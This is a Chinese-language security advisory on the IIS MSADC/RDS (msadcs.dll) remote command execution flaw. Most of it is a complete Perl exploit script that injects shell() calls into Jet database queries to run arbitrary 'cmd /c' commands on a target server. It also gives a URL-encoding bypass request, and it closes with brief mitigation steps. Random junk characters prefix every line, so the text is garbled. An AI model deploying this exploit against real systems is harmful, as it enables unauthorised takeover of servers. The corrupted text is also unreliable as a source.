IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q k !Q2W Y#Hf\8r,d 涉及程序：
#$ A6s~`B Microsoft NT server
wi&m(f(~ }g`A*y;t 描述：
JiRW|+`pe 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'vh:(- v!W,h2:J 详细：
) ` L!eN 如果你没有时间读详细内容的话，就删除:
Z3 I< c:\Program Files\Common Files\System\Msadc\msadcs.dll
((H}d?^AJ 有关的安全问题就没有了。
/at#[Pw~01 }U8H4B~UtY 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
+pD uRr XX/ cJp 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
{gJO c,U4b 关于利用ODBC远程漏洞的描述，请参看:
ny#7iz/ ;Yi ;2ttW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8(ZQD+U(9F b d%/d r 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
z/;No Q - http://www.microsoft.com/security/bulletins/MS99-025faq.asp M T{^=F ] ($ae n 这里不再论述。
H1q> UU: T6{IuQjXs 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
i8 dv|oa [t0gX dU 6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5~ jGF 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^D\#*pIO ~(Fy GB} ]0\8g=KK #将下面这段保存为txt文件，然后: "perl -x 文件名"
{At1]> ]2v31' #!perl
W~g FY#w #
sYeZ.MacU # MSADC/RDS 'usage' (aka exploit) script
vZ|m3; X #
`m3C\\ 9; # by rain.forest.puppy
-N9U lW2S #
lPx4I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2&P'rmFm # beta test and find errors!
)82x)c<e 3:S
Ex;d+ use Socket; use Getopt::Std;
|3vQmd !2} getopts("e:vd:h:XR", \%args);
* \f(E# wa ;@Ls "+g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uI+h9j$vS ][D< J0 if (!defined $args{h} && !defined $args{R}) {
ZJd 1Lx print qq~
k~:B3p Usage: msadc.pl -h <host> { -d <delay> -X -v }
+ -h <host> = host you want to scan (ip or domain)
tV%M2 D xS -d <seconds> = delay between calls, default 1 second
}`>u+iH#a -X = dump Index Server path table, if available
<Y9ps`{}: -v = verbose
w xF9lZz -e = external dictionary file for step 5
x"*u98&3 z%]~^k8 Or a -R will resume a command session
N=-hXgX^ UiW( /L ~; exit;}
Kh3*\x T yl)}1DPP $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N!$y`nwiw' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
IaN|S|n~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,p0R 4gi if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/G\ -v2i D $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
% &{>oEQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
trg+" )a YQ2ie>C8 if (!defined $args{R}){ $ret = &has_msadc;
YS/{q~$t die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
evZ{~v& / x1wm ]|BIf print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1 vi<@i, . "cmd /c ";
0 E{ $u $in=<STDIN>; chomp $in;
{b} ?I4) $command="cmd /c " . $in ;
+ d]} u|B\@"0 if (defined $args{R}) {&load; exit;}
\O`B@!d a~ hE+6z%A8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%I[(`nb &try_btcustmr;
.-fJ\`^mi k$#
@_ print "\nStep 2: Trying to make our own DSN...";
TRG"fVR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
GIt; Y m?bb/o'B print "\nStep 3: Trying known DSNs...";
Q:lSKf &known_dsn;
Lab{?!E>U 8qo {% print "\nStep 4: Trying known .mdbs...";
OP%h` &known_mdb;
;OE{& NC|&7qQ if (defined $args{e}){
5fM/y3QPsZ print "\nStep 5: Trying dictionary of DSN names...";
X 1^f0\k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l 8n#sGA % ]g!k'@ print "Sorry Charley...maybe next time?\n";
Q V7 K~qi exit;
}[$ C=| > 5c`DkWne% ##############################################################################
v~uQ_ ae$> "\]kK @, sub sendraw { # ripped and modded from whisker
`)!)}PXl sleep($delay); # it's a DoS on the server! At least on mine...
@D Qg1| m my ($pstr)=@_;
hekAics6S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ngn%"xYX die("Socket problems\n");
qqLmjDv if(connect(S,pack "SnA4x8",2,80,$target)){
3Ud&B select(S); $|=1;
'R99kL/.N print $pstr; my @in=<S>;
s>E4.0[I% select(STDOUT); close(S);
|l `X]dsfQ return @in;
t&eY+3y,T } else { die("Can't connect...\n"); }}
zH}u9IR3` D3vd O2H ##############################################################################
,m9Nd "6\ A: 0 sub make_header { # make the HTTP request
L*Xn!d% my $msadc=<<EOT
m},nKsO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v6;XxBR6 User-Agent: ACTIVEDATA
)d_)CuUBe Host: $ip
&> p2N Content-Length: $clen
+);o{wfW Connection: Keep-Alive
"-90:"W }ZlJ ADCClientVersion:01.06
YLJH?=2@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
O "nY4 (/Hq8o-Fw --!ADM!ROX!YOUR!WORLD!
\bZbz/ +D Content-Type: application/x-varg
M
+~guTh Content-Length: $reqlen
WQ|d;[E VE d\* EOT
i=#r JK= ; $msadc=~s/\n/\r\n/g;
u ,*$n'l] return $msadc;}
\/. Of]YQ 4cTJ$" v ##############################################################################
m {I_E
G 6^s]2mMfk sub make_req { # make the RDS request
Z#3wMK ~ my ($switch, $p1, $p2)=@_;
8pg?g'A~} my $req=""; my $t1, $t2, $query, $dsn;
Zj[Bm\ 8 )|q,RA n if ($switch==1){ # this is the btcustmr.mdb query
RHz'Dz>0 $query="Select * from Customers where City=" . make_shell();
VsNqYFHes& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!D7 [R'RgY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
e( 6g|h '[{M"S elsif ($switch==2){ # this is general make table query
4ehajK $query="create table AZZ (B int, C varchar(10))";
&: nWZ!D $dsn="$p1";}
mAX ]m 1s )U`H 7\*) elsif ($switch==3){ # this is general exploit table query
j}X4#{jgC $query="select * from AZZ where C=" . make_shell();
^-f5;B`\i $dsn="$p1";}
x\3tSP7Vp |Gzd|$%Oq elsif ($switch==4){ # attempt to hork file info from index server
|bVNlL"xN $query="select path from scope()";
Xa Yx avq $dsn="Provider=MSIDXS;";}
>OBuHqC U3&*,xeU@H elsif ($switch==5){ # bad query
I^ qk` 5w $query="select";
/1gKc}rB2 $dsn="$p1";}
o.Mb~8Yu ec)G~?FH $t1= make_unicode($query);
I,l%6oPa $t2= make_unicode($dsn);
\4bma<~a $req = "\x02\x00\x03\x00";
0 jVuF l $req.= "\x08\x00" . pack ("S1", length($t1));
? k<wI)JR $req.= "\x00\x00" . $t1 ;
Gmc xN< $req.= "\x08\x00" . pack ("S1", length($t2));
LGgEq - $req.= "\x00\x00" . $t2 ;
,D
[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
B B 1'B-O return $req;}
K/,
B J3}^\k=p" ##############################################################################
+pnT6kU| )><cL:IJ}S sub make_shell { # this makes the shell() statement
r%&hiobMYs return "'|shell(\"$command\")|'";}
sYYg5vL9 BT2[@qH|qF ##############################################################################
+wY3E*hU )Mi #{5z sub make_unicode { # quick little function to convert to unicode
T=ox;r my ($in)=@_; my $out;
|U 8;25Y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
w-H gC return $out;}
~lzV=c$t >hRYsWbmg ##############################################################################
FwBktuS } V ;PaX sub rdo_success { # checks for RDO return success (this is kludge)
+`yDW N?7 my (@in) = @_; my $base=content_start(@in);
+)qPUKb? if($in[$base]=~/multipart\/mixed/){
[t: =%&B return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ni"fV]' return 0;}
W7O%.xP #:"\6s ##############################################################################
\I/l6H>o3
i/y+kL sub make_dsn { # this makes a DSN for us
H]mY 6D51" my @drives=("c","d","e","f");
eOZA2 print "\nMaking DSN: ";
\$ yI'q foreach $drive (@drives) {
7: J6 F print "$drive: ";
"Y7RvL!U my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
oYup*@t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%_@8f|# ,M . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4_F<jx,G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bqS*WgMY- return 0 if $2 eq "404"; # not found/doesn't exist
/:z}WAW if($2 eq "200") {
7 G~MqnO| foreach $line (@results) {
!:c 7I@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"sUe:F; } return 0;}
yV$p(+KkS qu sgX;) ##############################################################################
BaR9X ?~O$ ,Uc\
A jx sub verify_exists {
@Ys(j$U't my ($page)=@_;
8:huWjh]M my @results=sendraw("GET $page HTTP/1.0\n\n");
sog?Mvoq return $results[0];}
#v89`$#`2 S;Lqx 5Cd ##############################################################################
f dck/|`t xPq3Sfg`A sub try_btcustmr {
"P&|e|7 my @drives=("c","d","e","f");
#Ru +|KL my @dirs=("winnt","winnt35","winnt351","win","windows");
%Kw5 b ; ?N,a {#w foreach $dir (@dirs) {
2a (w7/W: print "$dir -> "; # fun status so you can see progress
}]=b%CPJh+ foreach $drive (@drives) {
f|m.v
+7k print "$drive: "; # ditto
Jn' q'+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
FnvN 4h{S $reqlenlen=length( "$reqlen" );
.: 87B= $clen= 206 + $reqlenlen + $reqlen;
K%2,z3ps e@L+z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n`vqCO7@' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
e&<#8; 2X else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IW$&V` `v oT\B-lx ##############################################################################
;}.jRmnJ !}l)okQH<# sub odbc_error {
ag:#82C my (@in)=@_; my $base;
V BIPB my $base = content_start(@in);
BXZ( %tnY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!D7\$
g6g $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\X
Nb 9- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
' /z.\ S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sN5 x\9U return $in[$base+4].$in[$base+5].$in[$base+6];}
NV36Q^Am[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
HTQ .kV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
eq(|%]a= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|>j=#2 4{}u PbS ##############################################################################
NO`LSF tN3Xn] sub verbose {
iBV*GW my ($in)=@_;
[9'5 +RXw3 return if !$verbose;
Dr7,>Yx print STDOUT "\n$in\n";}
v;JY;Uh|
m- , ' ##############################################################################
Z !wDh_ E 7;KG^ sub save {
:}+U?8/"7 my ($p1, $p2, $p3, $p4)=@_;
IR5 S -vO open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$ daI++v`
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
KD-0NO=oL close OUT;}
AJC Wp4, g#Zb}^ ##############################################################################
BL]!j#''KE yoGE#+|7^ sub load {
vQc>jmS+n my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]9R?2{"K open(IN,"<rds.save") || die("Couldn't open rds.save\n");
kYPowM @p=<IN>; close(IN);
YRW<n9=3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jM2gu~ $target= inet_aton($ip) || die("inet_aton problems");
oJ{)0;<~L print "Resuming to $ip ...";
Z TjlGU ` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
""d3ownKhw if($p[1]==1) {
4) /tCv $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>+#T sX{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
N^%[
B9D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_L%/NXu, if (rdo_success(@results)){print "Success!\n";}
7: jSP$ else { print "failed\n"; verbose(odbc_error(@results));}}
P@k
;Lg" elsif ($p[1]==3){
*Ty>-aS1 if(run_query("$p[3]")){
:3Ty%W&& print "Success!\n";} else { print "failed\n"; }}
{D1=T Tr^ elsif ($p[1]==4){
}eEF/o if(run_query($drvst . "$p[3]")){
6&.[ :IHw print "Success!\n"; } else { print "failed\n"; }}
OWtN=Gk exit;}
XfViLBY(
> C
[=/40D ##############################################################################
ZSKk*<= &|/C *2A sub create_table {
IL YS:c58= my ($in)=@_;
:L*CL 8m $reqlen=length( make_req(2,$in,"") ) - 28;
l]oGhM; $reqlenlen=length( "$reqlen" );
z#D@mn5\ a $clen= 206 + $reqlenlen + $reqlen;
J@!Sf7k42 my @results=sendraw(make_header() . make_req(2,$in,""));
_ F@>?\B return 1 if rdo_success(@results);
CDU^X$Q my $temp= odbc_error(@results); verbose($temp);
Gx' mVC"{ return 1 if $temp=~/Table 'AZZ' already exists/;
i"Ct}7 i return 0;}
"W\
#d N<$ uAns ##############################################################################
KXicy_@DC` B<8Z?:3YS sub known_dsn {
[#lPT'l # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
DFE?H my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@@SG0YxZ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A' dt
WD "banner", "banners", "ads", "ADCDemo", "ADCTest");
WdunI~&. rh$%*l foreach $dSn (@dsns) {
)o AK)e print ".";
pf] sL/ g next if (!is_access("DSN=$dSn"));
Kc{fT^E if(create_table("DSN=$dSn")){
m"H9C-Y
print "$dSn successful\n";
X a9G;J$ if(run_query("DSN=$dSn")){
+~w '?vNc print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q? W]g%:) print "Something's borked. Use verbose next time\n";}}} print "\n";}
={#r/x 5#QB&A> ##############################################################################
4V43(G 0BxO75m}o sub is_access {
xjR/K&[m my ($in)=@_;
L|! 9%X0. $reqlen=length( make_req(5,$in,"") ) - 28;
MJ}VNv|S $reqlenlen=length( "$reqlen" );
DX4
95<6* $clen= 206 + $reqlenlen + $reqlen;
%z.u
% % my @results=sendraw(make_header() . make_req(5,$in,""));
k9yA# my $temp= odbc_error(@results);
O?8G verbose($temp); return 1 if ($temp=~/Microsoft Access/);
xV <NeU return 0;}
MttVgNV <aL$d7 ##############################################################################
X@| ro^Y$;G sub run_query {
bG2 !5m4L my ($in)=@_;
?=Ma7 y $reqlen=length( make_req(3,$in,"") ) - 28;
"b-6kM $reqlenlen=length( "$reqlen" );
R:^GNra; $clen= 206 + $reqlenlen + $reqlen;
l}:9)nXA{ my @results=sendraw(make_header() . make_req(3,$in,""));
~[ve?51 return 1 if rdo_success(@results);
c Ji5\ <b my $temp= odbc_error(@results); verbose($temp);
//V?rs return 0;}
(nvSB}? WlWBYnphZs ##############################################################################
<&$!;d8 ^XZm tB sub known_mdb {
Q8z>0ci3o my @drives=("c","d","e","f","g");
mQo]k my @dirs=("winnt","winnt35","winnt351","win","windows");
H^'*F->BA my $dir, $drive, $mdb;
z@T;N'EM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
")x9A&p )9L1 WOGi # this is sparse, because I don't know of many
H'Z[ 3e my @sysmdbs=( "\\catroot\\icatalog.mdb",
jr~76 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!C#q "\\system32\\certmdb.mdb",
8h;1(S)*Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
S`"IM? X}
8rrC= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
V 1 #/ +~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
t=A|
K "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
W c-P= J*m "\\cfusion\\cfapps\\security\\realm_.mdb",
mP3:Fc _G "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q:=s99 "\\cfusion\\database\\cfexamples.mdb",
u )
fbR "\\cfusion\\database\\cfsnippets.mdb",
6j_
A{*~Ng "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
LT2m wJl "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Wm Od1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
|D`Zi>lv "\\cfusion\\database\\smpolicy.mdb",
y5+-_x, "\\cfusion\\database\cypress.mdb",
Ww)qBsi8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
QJGRi "\\website\\cgi-win\\dbsample.mdb",
_y5 b>+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%DzS~5$G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{_ewc/~ ); #these are just
Q$V xm+ foreach $drive (@drives) {
eT:%i "C foreach $dir (@dirs){
Gh42qar` foreach $mdb (@sysmdbs) {
1c?,= ;> print ".";
:q^g+Bu= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
> {npg2 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
WpSdukXY{ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ZaXK=%z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=2->1<!x6< } else { print "Something's borked. Use verbose next time\n"; }}}}}
>/$Q:92T iK=H9j foreach $drive (@drives) {
.:_dS=ut foreach $mdb (@mdbs) {
F;` of print ".";
qXP)R/~OZ if(create_table($drv . $drive . $dir . $mdb)){
&k : | print "\n" . $drive . $dir . $mdb . " successful\n";
?G.9D`95 if(run_query($drv . $drive . $dir . $mdb)){
wQ(ME7 t print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
B^{bXhDp } else { print "Something's borked. Use verbose next time\n"; }}}}
Y:*mAv;& }
~>s^/`|? < ~x5{p ##############################################################################
FW[<;$ 6q6&N'We sub hork_idx {
L-G186B$r print "\nAttempting to dump Index Server tables...\n";
2ORWdR.b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
G0y%_"[ $reqlen=length( make_req(4,"","") ) - 28;
,| xG2G6 $reqlenlen=length( "$reqlen" );
<~X=6 $clen= 206 + $reqlenlen + $reqlen;
&A Ow(?2 my @results=sendraw2(make_header() . make_req(4,"",""));
q:1 1XPP if (rdo_success(@results)){
&&JI$x0; my $max=@results; my $c; my %d;
83;1L:}` for($c=19; $c<$max; $c++){
] p'+F $results[$c]=~s/\x00//g;
hMhD(X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,7/un8:%c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+apIp(E+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+zz9u?2C` $d{"$1$2"}="";}
4ol=YGCI_ foreach $c (keys %d){ print "$c\n"; }
JL;H :` x } else {print "Index server doesn't seem to be installed.\n"; }}
kD MS7y<s e0>@ Yp[Kd ##############################################################################
BFj@Z' 7P { vA;#6B| sub dsn_dict {
] p+t> 's open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^b>E_u while(<IN>){
,<pql!B- $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
UkXc7D^jwm next if (!is_access("DSN=$dSn"));
!i}G>*XH, if(create_table("DSN=$dSn")){
Wu.od |t0 print "$dSn successful\n";
&~||<0m if(run_query("DSN=$dSn")){
X] Tb4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V! "^6) print "Something's borked. Use verbose next time\n";}}}
i&.F}bEi print "\n"; close(IN);}
.7E- Mt@K01MI% ##############################################################################
!v`q%JW( +u25>pX sub sendraw2 { # ripped and modded from whisker
_%i|* sleep($delay); # it's a DoS on the server! At least on mine...
s/Q}fW$ex my ($pstr)=@_;
L[TL~@T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\4zvknk< die("Socket problems\n");
<w{W1*R9 if(connect(S,pack "SnA4x8",2,80,$target)){
U@Aq@d+n print "Connected. Getting data";
:GL|: open(OUT,">raw.out"); my @in;
n!H FHy2 select(S); $|=1; print $pstr;
z{!wQ~
j while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
kQVl8KS close(OUT); select(STDOUT); close(S); return @in;
Q&M(wnl5 } else { die("Can't connect...\n"); }}
z:< (b O@E&lP 6 ##############################################################################
jX+L I BKvF,f/g sub content_start { # this will take in the server headers
dF1Bo my (@in)=@_; my $c;
:I<%.|8 for ($c=1;$c<500;$c++) {
UK& E#i if($in[$c] =~/^\x0d\x0a/){
I X\& lV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
;' J L$ = else { return $c+1; }}}
6{+~B2Ef return -1;} # it should never get here actually
JZP2NB_xt y)(SS8JR ##############################################################################
kN>d5q9b%X BA t2m- sub funky {
kO2im+y my (@in)=@_; my $error=odbc_error(@in);
;iS}<TA if($error=~/ADO could not find the specified provider/){
!4oYQB print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~{d94o. exit;}
cRU. if($error=~/A Handler is required/){
^ / g&Q print "\nServer has custom handler filters (they most likely are patched)\n";
UI;!_C_ exit;}
T 6phD8# if($error=~/specified Handler has denied Access/){
?hDEFW9&^x print "\nServer has custom handler filters (they most likely are patched)\n";
]]`+aF0 exit;}}
8,kbGlSD NPS=?5p> ##############################################################################
%FyB\IQ typ*.j[q sub has_msadc {
AA05wpu8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^OA}#k
NTW my $base=content_start(@results);
Gl1`Nx0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
88G[XkL$2 return 0;}
lfI[r| jq =-Y ########################
cUy6/x9& KCC S7l/ _=}Y
l R 解决方案：
=M(\ R8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
_n{N3da 2、移除web 目录: /msadc
